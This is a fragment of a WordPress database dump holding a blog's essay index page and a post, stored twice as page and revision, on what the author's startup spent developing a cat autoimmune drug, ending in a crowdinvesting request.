-->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Close interaction with other people who are learning the same thing</li><li>Emotional bonding with said people</li><li>Drilling of what you want to learn</li><li>Single-minded focus on exactly what you want to learn</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/vets-today-are-like-doctors-yesterday-and-doctors-today-are-miserable/\" data-type=\"page\" data-id=\"299\">Vets today are like doctors yesterday (and doctors today are miserable)</a> - Discussing the current state of the veterinary profession vs. the medical profession. Doctors are overworked and harassed, while vets are slightly less so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-win-an-election-in-10-easy-steps-an-effective-altruists-guide/\" data-type=\"page\" data-id=\"289\">How to win an election in 10 easy steps: an effective altruist\'s guide</a> - Written after the $14 million failure of the Carrick Flynn Congressional campaign. It\'s an attempt to gain some learning from it. Am I qualified to write this? Nope, but I\'ll do it anyways. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-terrible-plan-for-reducing-opioid-deaths/\" data-type=\"page\" data-id=\"257\">My terrible plan for reducing opioid deaths</a> - I discuss a drug that preserves respiratory function while still allowing for the pain-killing effects of opiates, and propose that everyone gets high with no consequences</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\" data-type=\"page\" data-id=\"203\">So, you want to patent a drug. Here’s what you need to know.</a> - Self-explanatory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\" data-type=\"page\" data-id=\"187\">What the FDA is like from a small biotech\'s perspective (hint: they\'re terrifying)</a> - discussing the FDA through the lens of Axsome Therapeutics, a small biotech who rightfully thought they had a soon-to-be-approved treatment for depression. Then they got caught in a drive-by by the FDA. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2022-08-16 15:32:04','2022-08-16 15:32:04','',22,'https://trevorklee.com/?p=306',0,'revision','',0),
(308,1,'2022-09-14 14:17:25','2022-09-14 14:17:25','<!-- wp:heading -->\n<h2>Intro</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Those of you who have been following me for a while know that my day job is running a drug repurposing startup, Highway Pharmaceuticals. We’re developing an immunosuppressant drug combination that we’re planning on using for a cat autoimmune disease (feline stomatitis), human autoimmune diseases, and, eventually, human neurodegenerative diseases. If you’re unfamiliar with this part of my story,&nbsp;<a href=\"https://trevorklee.substack.com/p/why-im-now-making-drugs-for-cats?utm_source=profile&amp;utm_medium=reader2\">I wrote a whole post about it</a>!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F6fb0824e-0324-44f6-9551-294d4dd183bb_1080x1440.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F6fb0824e-0324-44f6-9551-294d4dd183bb_1080x1440.jpeg\" alt=\"File:Alan, my cute cat.jpg - Wikimedia Commons\" title=\"File:Alan, my cute cat.jpg - Wikimedia Commons\"/></a><figcaption>This is not a picture of a cat with feline stomatitis, as that would be a really distressing header image. Instead, this is a Wikipedia image titled “Alan, my cute cat”.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Our first big milestone starts this Monday, 9/19. We’re testing our combination in healthy cats to make sure that we’ve actually developed the longer-lasting, higher efficacy, lower side effect immunosuppressant that we think we have.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’ll also give us reassurance that our combination is reasonably safe in cats, although we’ll have to do a formal safety trial to know its exact safety profile. Because the immunosuppressive part of our drug is well-understood (it’s only the other half of the combination that’s less well-understood), this will be a huge milestone. Basically, if our drug works here, it will almost certainly work in sick cats.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m writing this post for two reasons. First, I wanted to give all of you an update on the story so far, and pull back the kimono on exactly how much it all costs. This is information that, for obvious reasons, is very difficult to find online, so I thought it’d be interesting.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Second, as you’ll find out in this post, we’re about $100k short of fully funding the trial, so this also serves as a launch post for&nbsp;<a href=\"https://wefunder.com/highwaypharmaceuticals\">my crowdinvesting drive</a>. That link will take you to my Wefunder page, where I’m currently taking soft commitments to help fund the trial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you find this story interesting and my efforts useful, and you’re in a financial position to invest, I’d very much appreciate if you did so. You don’t have to be an accredited investor to put in money (although if you are, and you’re looking to invest $25k or more, please email me directly).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>The costs so far</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>People often wonder how I’ve brought my cat drug as far as I have with the resources that I have. Bright-eyed and bushy-tailed PhD students and slightly duller-eyed and flatter-tailed postdocs tell me that they, too, have some ideas for drugs that could help people (or animals), but they can’t imagine having the funds necessary to bring the drug to market.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They’re not off-base. Most drug development is insanely expensive. The absolute cheapest all-in development costs I’ve found for a drug has been&nbsp;<a href=\"https://jamanetwork.com/journals/jama/article-abstract/2762311\">$348 million for Trulance</a>, an IBS drug&nbsp;<a href=\"https://substack.com/inbox/post/73188475#footnote-1\">1</a>. Even at my stage, phase 1, Trulance had already spent $16.6 million on development costs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So how did I, a guy whose previous career as a small business owner/tutor is not known for being exceptionally lucrative, take my drug this far? Was I left $16.6 million by a great-uncle who died in mysterious circumstances? Did I find a treasure map to $16.6 million worth of gold pieces on the back of the Declaration of Independence?<br><br>In short, no. Instead, I’ve used the small amount of money at my disposal in clever ways. In this post, I’m going to talk about the money I have, how I’ve used it, and then (spoiler alert) ask for a soft commitment to my crowdfunding campaign to make it to my next milestone. If you make the soft commitment, I’ll follow up with some additional information so you can make an informed decision on whether you actually want to follow-through.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, how much money I actually have:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. $20k of my own money from aforementioned tutoring business</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. $20k from ACX grants</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. $170k from angel investors</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And…that’s it! If you do the math, my total amount of cash is about 1.2% of the cost to get Trulance to the same stage. So, given this extreme lack of capital, I’ve had to be very conservative with how I’ve spent my money. Even more importantly, I’ve had to be very clever about how I don’t spend my money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As I’ve mentioned before, I saved a lot of money by repurposing drugs that had been used before<a href=\"https://substack.com/inbox/post/73188475#footnote-2\">2</a>. Not only did this mean that I could have more confidence that my drug was going to be safe and effective than someone working with a new chemical entity, it also meant that I was able to reuse previous work on my drugs’ manufacturing, toxicology, formulation, and bioanalytics. Each of those four items can easily have price tags that run into the millions, so this is a huge cost saver.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Those were the costs I avoided. The big costs I still needed to cover were the costs for:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Legal fees</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Patent fees</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Patent-enabling work</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Physiologically-based pharmacokinetics, which I’ll explain below</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5. Consulting</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>6. The trial itself</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>7. Bioanalytics for the trial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let’s break these down. First up, I needed to cover legal fees, which includes costs for incorporation, all the basic forms (NDAs, contracting agreements, etc.), and costs for looking over everyone else’s contracts. I worked with a lawyer who’s used to working with startups, so he allowed me to defer these fees, which technically I still haven’t paid. This only comes out to about $4k.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The patent fees could also be deferred, but only for so long. Patents are everything in biotech, and for what I’m doing, doubly so. Because I’m working with already-known drugs, the bar for the results of the combination to be “novel and non-obvious” is very high. There’s also a huge incentive for other companies to try to piggyback off of/steal my work, as there’s no technical barrier for them to do so.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As such, I got the most prestigious, expensive patent lawyers I could and worked closely with them to make sure my patents were airtight. While I still tried to save money by doing as much of the grunt work as possible (e.g. writing the patent myself and having them correct it rather than having them write the patent), patent work is still not cheap. I’ve already paid $22k to them, and expect to pay more in the coming months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Part of getting a patent awarded is having concrete work to patent. You’re not supposed to patent an idea, but an invention. Now, in biotech, that distinction is blurred, given that all biotech patents are based on an effect in patients that won’t be seen until years after the patent is awarded. That’s the way it has to be, too, because nobody will give you funding to test a drug in patients until your drug has a rock-solid patent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, biotech patents are generally based on reasonably plausible evidence. It’s totally ok to do an in vitro study in a petri dish, and then say, “Based on this, we assume this drug will have&nbsp;<em>x</em>&nbsp;effect in people”. By the time your drug gets to market, it’ll either have that effect or it won’t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Doing experiments in petri dishes is definitely cheaper than doing a full-on trial in animals or humans. This is especially true for drugs that are both available and well-understood, like the drugs I’m working with. This is especially, especially true when you just need the experiment to be “good enough” to get a patent, rather than discover any deep scientific truth<a href=\"https://substack.com/inbox/post/73188475#footnote-3\">3</a>. However, it’s still not cheap, as you’re paying for the time and resources of multiple scientists. This ended up being around $13k all told.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After this, I wanted to jump straight into humans. I knew I could skip animal testing as the drugs had a history of being used in humans, and I got some free consulting around toxicology that told me I could skip tox as well<a href=\"https://substack.com/inbox/post/73188475#footnote-4\">4</a>. However, human testing is way more expensive (it eventually ended up being quoted at around $1.4 million), and I wasn’t confident on dose or dose intervals. So I ended up shelling out some money for physiologically-based pharmacokinetic modeling (PBPK).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>PBPK is basically a way of modeling the metabolism of a drug in the body using differential equations to represent all the different ways the drug is transformed, diffused, and transported as it goes from ingestion to excretion. It’s a really neat technology. Unfortunately, as I found out, the hype of PBPK has definitely outrun its actual usefulness, and I ended up getting only a limited amount of data from all of this.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the course of exploring the assumptions that we’d need for the model, though, the consultant and I did figure out that I’d need to change up the combo. So, it ended up being a useful exercise, in a weird way. The quoted cost for the PBPK modeling was $20k, but we ended up not being able to finish the project, so the total cost was $10k.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This was the time that I realized I needed a serious clinical trials consultant, as there were a lot of details that I didn’t feel I had a firm grasp on. So, I ended up hiring a clinical trials consultant, who I still talk to pretty regularly. The running cost so far is about $7k.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After talking with the clinical trials consultant, finding a good clinical research organization (CRO) that could do human trials, and getting a quote for the human trial, the bottom fell out of the biotech market. Funding dried up, and I realized it was highly unlikely I was going to get the extra money necessary to do the full human trial. So I decided to take the money I had to do a cat trial instead, which is a decision I talked about in my previous post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Eventually, I did connect with a really excellent cat CRO. They could handle everything on the trial side: animal housing and husbandry<a href=\"https://substack.com/inbox/post/73188475#footnote-5\">5</a>, administering the drug, taking the blood samples, and eventually reporting the results. For all this, they charged about $120,000, with 25% up front. You’ll notice this is an order of magnitude more expensive than anything else I spent money on so far, and an order of magnitude less expensive than the human trial. That’s pretty much how it goes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What they couldn’t handle, on the other hand, was bioanalytics: analyzing the blood samples to see the drug concentration over time. This is pretty complicated, especially when it comes to analyzing drugs that haven’t been administered to cats before, as the lab has to develop a new method suitable for cat blood. The cat CRO did point me in the direction of a good lab that they had worked with before for handling that sort of stuff, though, and that ended up running about $130k all told, with 40% up front<a href=\"https://substack.com/inbox/post/73188475#footnote-6\">6</a>. Bioanalytics is expensive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that’s a brief summary of all the money I’ve spent so far! Now, for those of you who are into addition, you might have noticed that, once the money comes due for the cat study and the bioanalytical analysis, it’s going to be about $300k, all told. You may also notice that I’ve only raised about $210k, including $20k of my own money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>The ask</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>So here comes the ask. I need your help to cover that gap. Now, I’m not asking for your lunch money or your rent money. This is definitely not more important than that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, if you have extra funds and are looking to invest in a company that’s trying to do a lot of good for a lot of animals (and eventually a lot of humans), please consider helping up with our crowd-investing campaign. You’ll be investing in a SAFE alongside our lead investor,&nbsp;<a href=\"https://www.thoobik.com/\">Nathan Savir</a>, who’s investing additional funds to help us with our vision. You’ll be getting the exact same terms at the exact same valuation that he is.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If this is something you can help with, head to <a href=\"https://wefunder.com/highway.pharmaceuticals/\">our Wefunder page</a> to make a soft commitment on how much you’d be willing to invest (or, if you\'re an accredited investor who wants to invest $25k or more, contact me directly). We’ll be using this information to help us launch our actual crowd-investing campaign on Wefunder. Formal disclaimer is below.<a href=\"https://substack.com/inbox/post/73188475#footnote-7\">7</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/inbox/post/73188475#footnote-anchor-1\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To be fair, this information doesn’t tend to be public, so this is almost certainly not the absolute cheapest a drug’s been developed for. It gives you a good idea of the orders of magnitude, at least.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/inbox/post/73188475#footnote-anchor-2\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And by valuing my own time at zero while spending hundreds of hours searching for drugs to repurpose.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/inbox/post/73188475#footnote-anchor-3\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In case you can’t tell, I went with literally the lowest possible cost lab that didn’t seem like a total ripoff, which ended up being a lab in Oregon. This proved to be a headache. While they weren’t a ripoff, I did have to call the cellphone of the guy running the lab repeatedly in order to get my results, which I ended up getting 3 months after they were promised. To paraphrase&nbsp;<em>Dilbert</em>, in order to get things done, sometimes you need to charm them, and sometimes you just need to hound them until they recoil in pain at the sound of your voice.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/inbox/post/73188475#footnote-anchor-4\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of the more useful pieces of advice I used was to continually talk to consultants and service providers. They all have free intro calls before they start charging you, and it’s very easy to just use those as free consulting.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/inbox/post/73188475#footnote-anchor-5\">5</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This includes being really ethical, which I appreciated. They train the cats to be ok taking drugs and getting their blood drawn. When the cats reach a certain age, they get adopted out to loving families.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/inbox/post/73188475#footnote-anchor-6\">6</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I should probably mention that the human trial cost of $1.4 million had the bioanalytics included. CROs vary in what they consider part of their duties. Some are literally only oversight, and require you to separately contract out housing, pharmacists, doctors, etc, while others handle much more. Given how small a team we are, we obviously preferred the latter kind.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/inbox/post/73188475#footnote-anchor-7\">7</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We are \'testing the waters\' to gauge investor interest in an offering under Regulation Crowdfunding. No money or other consideration is being solicited. If sent, it will not be accepted. No offer to buy securities will be accepted. No part of the purchase price will be received until a Form C is filed and only through Wefunder’s platform. Any indication of interest involves no obligation or commitment of any kind.</p>\n<!-- /wp:paragraph -->','How much a drug for cat costs to develop','','publish','closed','closed','','how-much-a-drug-for-cat-costs-to-develop','','','2022-09-14 14:17:25','2022-09-14 14:17:25','',0,'https://trevorklee.com/?page_id=308',0,'page','',0),
(309,1,'2022-09-14 14:17:25','2022-09-14 14:17:25','<!-- wp:heading -->\n<h2>Intro</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Those of you who have been following me for a while know that my day job is running a drug repurposing startup, Highway Pharmaceuticals. We’re developing an immunosuppressant drug combination that we’re planning on using for a cat autoimmune disease (feline stomatitis), human autoimmune diseases, and, eventually, human neurodegenerative diseases. If you’re unfamiliar with this part of my story,&nbsp;<a href=\"https://trevorklee.substack.com/p/why-im-now-making-drugs-for-cats?utm_source=profile&amp;utm_medium=reader2\">I wrote a whole post about it</a>!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F6fb0824e-0324-44f6-9551-294d4dd183bb_1080x1440.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F6fb0824e-0324-44f6-9551-294d4dd183bb_1080x1440.jpeg\" alt=\"File:Alan, my cute cat.jpg - Wikimedia Commons\" title=\"File:Alan, my cute cat.jpg - Wikimedia Commons\"/></a><figcaption>This is not a picture of a cat with feline stomatitis, as that would be a really distressing header image. Instead, this is a Wikipedia image titled “Alan, my cute cat”.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Our first big milestone starts this Monday, 9/19. We’re testing our combination in healthy cats to make sure that we’ve actually developed the longer-lasting, higher efficacy, lower side effect immunosuppressant that we think we have.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’ll also give us reassurance that our combination is reasonably safe in cats, although we’ll have to do a formal safety trial to know its exact safety profile. Because the immunosuppressive part of our drug is well-understood (it’s only the other half of the combination that’s less well-understood), this will be a huge milestone. Basically, if our drug works here, it will almost certainly work in sick cats.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m writing this post for two reasons. First, I wanted to give all of you an update on the story so far, and pull back the kimono on exactly how much it all costs. This is information that, for obvious reasons, is very difficult to find online, so I thought it’d be interesting.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Second, as you’ll find out in this post, we’re about $100k short of fully funding the trial, so this also serves as a launch post for&nbsp;<a href=\"https://wefunder.com/highwaypharmaceuticals\">my crowdinvesting drive</a>. That link will take you to my Wefunder page, where I’m currently taking soft commitments to help fund the trial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you find this story interesting and my efforts useful, and you’re in a financial position to invest, I’d very much appreciate if you did so. You don’t have to be an accredited investor to put in money (although if you are, and you’re looking to invest $25k or more, please email me directly).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>The costs so far</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>People often wonder how I’ve brought my cat drug as far as I have with the resources that I have. Bright-eyed and bushy-tailed PhD students and slightly duller-eyed and flatter-tailed postdocs tell me that they, too, have some ideas for drugs that could help people (or animals), but they can’t imagine having the funds necessary to bring the drug to market.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They’re not off-base. Most drug development is insanely expensive. The absolute cheapest all-in development costs I’ve found for a drug has been&nbsp;<a href=\"https://jamanetwork.com/journals/jama/article-abstract/2762311\">$348 million for Trulance</a>, an IBS drug&nbsp;<a href=\"https://substack.com/inbox/post/73188475#footnote-1\">1</a>. Even at my stage, phase 1, Trulance had already spent $16.6 million on development costs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So how did I, a guy whose previous career as a small business owner/tutor is not known for being exceptionally lucrative, take my drug this far? Was I left $16.6 million by a great-uncle who died in mysterious circumstances? Did I find a treasure map to $16.6 million worth of gold pieces on the back of the Declaration of Independence?<br><br>In short, no. Instead, I’ve used the small amount of money at my disposal in clever ways. In this post, I’m going to talk about the money I have, how I’ve used it, and then (spoiler alert) ask for a soft commitment to my crowdfunding campaign to make it to my next milestone. If you make the soft commitment, I’ll follow up with some additional information so you can make an informed decision on whether you actually want to follow-through.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, how much money I actually have:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. $20k of my own money from aforementioned tutoring business</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. $20k from ACX grants</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. $170k from angel investors</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And…that’s it! If you do the math, my total amount of cash is about 1.2% of the cost to get Trulance to the same stage. So, given this extreme lack of capital, I’ve had to be very conservative with how I’ve spent my money. Even more importantly, I’ve had to be very clever about how I don’t spend my money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As I’ve mentioned before, I saved a lot of money by repurposing drugs that had been used before<a href=\"https://substack.com/inbox/post/73188475#footnote-2\">2</a>. Not only did this mean that I could have more confidence that my drug was going to be safe and effective than someone working with a new chemical entity, it also meant that I was able to reuse previous work on my drugs’ manufacturing, toxicology, formulation, and bioanalytics. Each of those four items can easily have price tags that run into the millions, so this is a huge cost saver.&nbsp;</p>\n<!-- 